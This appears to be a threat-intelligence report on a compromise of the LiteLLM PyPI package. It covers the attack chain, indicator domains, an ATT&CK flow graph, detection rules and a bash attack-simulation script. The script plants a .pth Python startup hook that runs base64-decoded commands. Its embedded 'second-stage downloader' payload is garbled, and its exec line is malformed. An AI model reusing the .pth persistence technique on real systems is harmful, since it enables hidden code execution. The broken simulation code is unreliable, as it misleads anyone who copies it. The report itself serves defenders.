Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A supply-chain compromise hit the widely used Python package LiteLLM on PyPI. Malicious releases 1.82.7 and 1.82.8 delivered a three-stage payload designed to steal cloud credentials, SSH keys, and Kubernetes secrets, then pivot inside clusters and establish a persistent backdoor. The activity is attributed to the criminal group TeamPCP and appears connected to earlier compromises involving security tooling, including Trivy and Checkmarx.
Investigation
Investigators linked the intrusion chain to a compromised Trivy GitHub Action that exposed a personal access token, enabling a forced push of tainted LiteLLM versions to PyPI. Code review uncovered a layered, Base64-heavy Python loader that used RSA-4096 and AES-256 for protected staging and exfiltration to attacker-controlled domains. The payload also created Kubernetes pods to access the host filesystem and expand collection. Infrastructure reuse across PyPI, npm, Docker Hub, GitHub Actions, and OpenVSX indicated a coordinated, multi-ecosystem campaign rather than an isolated package hijack.
Mitigation
Block the identified malicious domains, rotate any potentially exposed credentials, and remove LiteLLM_init.pth artifacts. Hunt for persistence via the sysmon.service systemd user unit and investigate unexpected .pth file creation. Reduce supply-chain exposure by enforcing hash-verified installs, limiting or disallowing unreviewed post-install behaviors, and applying egress filtering. Where possible, add JARM fingerprint monitoring to flag traffic associated with known bulletproof-hosting ASNs.
Response
If compromise is suspected, isolate impacted systems, terminate malicious Python processes, and remove the trojanized LiteLLM packages along with any persistence files. Rotate all harvested secrets immediately, prioritizing cloud credentials and LLM API keys. Deploy detections for Base64-encoded Python execution chains, .pth file drops, and anomalous HTTPS POST activity to models.litellm.cloud or checkmarx.zone.
Keywords: LiteLLM, supply chain attack, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes secrets, .pth persistence, credential theft, RSA-4096, AES-256, egress filtering, JARM fingerprinting.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% Node Definitions Section action_initial_supply_chain["<b>Action</b> – <b>T1195.001 Compromise Software Dependencies and Development Tools</b><br/>Adversary obtained Aqua Security bot token via compromised Trivy GitHub Action workflow"] class action_initial_supply_chain action tool_trivy_github_action["<b>Tool</b> – <b>Name</b>: Trivy GitHub Action<br/><b>Description</b>: CI workflow scanning container images"] class tool_trivy_github_action tool process_publish_malicious["<b>Process</b> – Publish malicious LiteLLM releases to PyPI"] class process_publish_malicious process technique_supply_chain_attack["<b>Technique</b> – <b>T1195.002 Compromise Software Supply Chain</b><br/>Malicious LiteLLM versions 1.82.7 and 1.82.8 pushed to PyPI"] class technique_supply_chain_attack technique technique_python_execution["<b>Technique</b> – <b>T1059.006 Command and Scripting Interpreter: Python</b><br/>.pth file automatically loaded on interpreter start"] class technique_python_execution technique file_pth["<b>File</b> – LiteLLM_init.pth<br/>Placed in siteu2011packages, autou2011loaded by Python interpreter"] class file_pth file technique_user_execution["<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/>`pip install LiteLLM==1.82.8` triggers immediate payload execution"] class technique_user_execution technique technique_credential_harvest["<b>Technique</b> – <b>T1552.001 Credentials In Files</b><br/>Collector reads SSH keys, cloud configs, .env files, database credentials, cryptocurrency wallets"] class technique_credential_harvest technique technique_metadata["<b>Technique</b> – <b>T1552.005 Unsecured Credentials: Cloud Instance Metadata API</b><br/>Queries AWS, GCP and Azure metadata services for temporary IAM tokens"] class technique_metadata technique technique_os_cred_dump["<b>Technique</b> – <b>T1003 OS Credential Dumping</b><br/>Reads /etc/shadow and authentication logs for credential data"] class technique_os_cred_dump technique technique_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/>Multiple base64 layers, binary padding, stripped payloads, dynamic API resolution, AESu2011256u2011CBC encryption, RSAu20114096 wrapper"] class technique_obfuscation technique technique_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Encrypted credential bundles sent via HTTPS POST to models.litellm.cloud"] class technique_exfiltration technique technique_web_service["<b>Technique</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Backdoor polls checkmarx.zone/raw for secondu2011stage payloads and reports status"] class technique_web_service technique technique_persistence["<b>Technique</b> – <b>T1543.002 Create or Modify System Process: Systemd Service</b><br/>Useru2011level sysmon.service installed for persistence across reboots"] class technique_persistence technique technique_container_lateral["<b>Technique</b> – <b>T1543.005 Create or Modify System Process: Container Service</b><br/>Privileged Kubernetes pods created with host filesystem access for clusteru2011wide lateral movement"] class technique_container_lateral technique technique_remote_services["<b>Technique</b> – <b>T1133 External Remote Services</b><br/>Persisted backdoor enables remote command execution through C2 poller"] class technique_remote_services technique technique_defense_evasion["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Runtime decoding of multiu2011layer payload avoids static detection"] class technique_defense_evasion technique %% Connections Section action_initial_supply_chain –>|uses| tool_trivy_github_action tool_trivy_github_action –>|leads to| process_publish_malicious process_publish_malicious –>|results in| technique_supply_chain_attack technique_supply_chain_attack –>|enables| technique_python_execution technique_python_execution –>|loads| file_pth file_pth –>|triggers| technique_user_execution technique_user_execution –>|causes| technique_credential_harvest technique_credential_harvest –>|also performs| technique_metadata technique_metadata –>|combined with| technique_os_cred_dump technique_os_cred_dump –>|obfuscated by| technique_obfuscation technique_obfuscation –>|leads to| technique_exfiltration technique_exfiltration –>|uses| technique_web_service technique_web_service –>|establishes| technique_persistence technique_persistence –>|enables| technique_container_lateral technique_container_lateral –>|supports| technique_remote_services technique_remote_services –>|facilitates| technique_defense_evasion "
Attack Flow
Detections
Probable Encryption Or Decryption of Files with OpenSSL [Linux] (via cmdline)
View
Archive Was Created In Linux Tmp Folder (via file_event)
View
Suspicious CURL Usage (via cmdline)
View
Archive Was Created In MacOS Temporary Folder (via file_event)
View
Probable Encryption Or Decryption of Files with OpenSSL [MacOS] (via cmdline)
View
Possible Site-Specific Configuration Hook File Was Created (via file_event)
View
Malicious Python packages IOCs (via cmdline)
View
Suspicious Curl Execution Attempt [MacOS] (via cmdline)
View
Service File Creation In Systemd Folder (via file_event)
View
IOCs (DestinationIP) to detect: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
View
IOCs (SourceIP) to detect: Your AI Gateway Was a Backdoor: Inside the LiteLLM Supply Chain Compromise
View
Malicious LiteLLM Package Detected via .pth File and subprocess.Popen Usage [Linux Process Creation]
View
Exfiltration and C2 Communication via Malicious Domains in LiteLLM Supply Chain Attack [Firewall]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
An attacker who has compromised the publicLiteLLMPyPI package injects a malicious.pthfile namedLiteLLM_init.pth. The file is placed in the global site‑packages directory, ensuring it is processed every time any Python interpreter starts. The.pthcontains a single line that executes a base64‑encoded payload viasubprocess.Popen. The payload downloads a second‑stage tool from a C2 server over HTTPS (T1071.001) and writes stolen credentials to/tmp/creds.txt(T1552.*). By using the interpreter startup hook, the attacker achieves persistence without modifying systemd units, evading many traditional process‑creation baselines.The steps simulated are:
- Create the malicious
.pthfile with embedded Python code. - Trigger Python interpreter startup (e.g.,
python3 -c "import sys"), causing the.pthto run. - The embedded code decodes the base64 payload and launches it with
subprocess.Popen, generating a process whose command line contains bothLiteLLM_init.pth(from the interpreter import path) andsubprocess.Popen.
- Create the malicious
-
Regression Test Script:
The script below automates the entire attack simulation on the Ubuntu test host.#!/usr/bin/env bash set -euo pipefail # ---------- 1. Build malicious .pth payload ---------- MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p" # The above decodes to a tiny python script that would download a second‑stage payload. # For safety in a test environment we replace it with a harmless echo command. PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0) # Write the .pth file – the line is executed as Python code during interpreter start‑up echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null echo "[+] Malicious .pth file created at ${MALICIOUS_PTH_PATH}" # ---------- 2. Trigger interpreter start (generates telemetry) ---------- echo "[+] Triggering Python interpreter to load .pth..." python3 -c "import sys; print('trigger')" # ---------- 3. Verify that the payload ran ---------- if grep -q "malicious executed" /tmp/malicious.log; then echo "[+] Payload executed successfully – detection should fire." else echo "[-] Payload did NOT execute – check .pth placement and permissions." fi -
Cleanup Commands:
#!/usr/bin/env bash set -euo pipefail MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth" # Remove the malicious .pth file if sudo test -f "${MALICIOUS_PTH_PATH}"; then sudo rm -f "${MALICIOUS_PTH_PATH}" echo "[+] Removed malicious .pth file." fi # Delete the evidence file created by the payload if test -f "/tmp/malicious.log"; then sudo rm -f "/tmp/malicious.log" echo "[+] Cleaned up /tmp/malicious.log." fi # Optionally remove the audit rule (if you added a dedicated test rule) # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation